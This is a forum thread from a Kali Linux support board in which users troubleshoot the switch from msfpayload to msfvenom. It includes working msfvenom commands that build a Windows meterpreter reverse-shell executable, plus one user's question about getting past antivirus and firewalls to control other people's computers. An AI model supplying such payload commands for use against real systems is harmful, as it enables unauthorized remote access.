Results 1 to 12 of 12

Thread: Msfpayload problem.

  1. #1
    Join Date
    2015-Jul
    Posts
    3

    Exclamation Msfpayload problem.

    So.. i receive an error message like "bash: msfpayload command not found". What i should do?
    I searched on the net.. but i found nothing...

  2. #2
    Last edited by g0tmi1k; 2015-07-02 at 10:20.
    This is a Kali-Linux support forum - not general IT/infosec help.

    Useful Commands: OS, Networking, Hardware, Wi-Fi
    Troubleshooting: Kali-Linux Installation, Repository, Wi-Fi Cards (Official Docs)
    Hardware: Recommended 802.11 Wireless Cards

    Documentation: http://docs.kali.org/ (Offline PDF version)
    Bugs Reporting & Tool Requests: https://bugs.kali.org/
    Kali Tool List, Versions & Man Pages: https://tools.kali.org/

  3. #3
    Join Date
    2015-Jul
    Posts
    3
    Ok, now i have another problem, if someone can help me .
    I used msfvenom to creade a payload.
    msfvenom windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx x > program.exe
    So i created that exe named "program.exe" but when i want to execute it on a windows it says that it's not a Valid win32 application....
    So.. what i've done wrong? Why it's not valid?

  4. #4
    Join Date
    2014-Nov
    Posts
    10
    Try the command without "> program.exe" and you'll see the result. The last "x" won't work here. Test with this :

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx --format=exe > program.exe

    See if it helps
    Last edited by haken29a; 2015-07-02 at 18:25.

  5. #5
    Join Date
    2015-Jul
    Posts
    3
    Thank you haken, thank you very much it works. I tried it on my computer and it works like a charm, so it should work on everyone's computer if the .exe it's not detected by the antivirus right? Or it works on my computer just because... it's connected at the same modem?
    And btw, is there any sure method for remote control without sending a file but still pass the firewall? Some ppl will not click your .exe or .bat...
    Last edited by g0dafk; 2015-07-03 at 15:33.

  6. #6
    Join Date
    2014-Nov
    Posts
    10
    It should work as long as nothing is blocking yes (like AV or firewall). For your other question, there's no "sure" method that I know of.

  7. #7
    Join Date
    2015-Nov
    Posts
    1
    if you're sing kali 2.0 or u have update msfpayload, so the term has been replaced for "msfvenom", it looks coolest...

  8. #8
    Join Date
    2015-Dec
    Posts
    1
    i use kali-linux 2.0 ......when i use in terminal "msfpayload windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 x > windows.exe" then the terminal reply that "bash : msfpayload: command not found" .............................. How can i fix it.

  9. #9
    Join Date
    2013-Apr
    Location
    Kali forums
    Posts
    805
    The reply from g0tmi1k has a good explanation. haken29a listed an alternate command that works.

  10. #10
    I am glad they use msfvenom now, it's alot better.
    The Paradox

  11. #11
    Join Date
    2013-Apr
    Location
    Kali forums
    Posts
    805
    Agreed, Infinitynull, that helped simplify things for me.

  12. #12
    Join Date
    2016-Jun
    Posts
    1
    haken && g0dafk !!
    i tried this as you say:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx --format=exe > program.exe
    but an error is pop up:
    NO PLATFORM WAS SELECTED,CHOOSING MSF::MODULE::PLATFORM::WINDOWS FROM THE PAYLOAD
    NO ARCH SELECTED,SELECTING ARCH: X86 FROM THE PAYLOAD
    NO ENCODER OR BADCHARS SPECIFIED,OUTPUTTING RAW PAYLOAD
    PAYLOAD SIZE: 333 BYTES

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •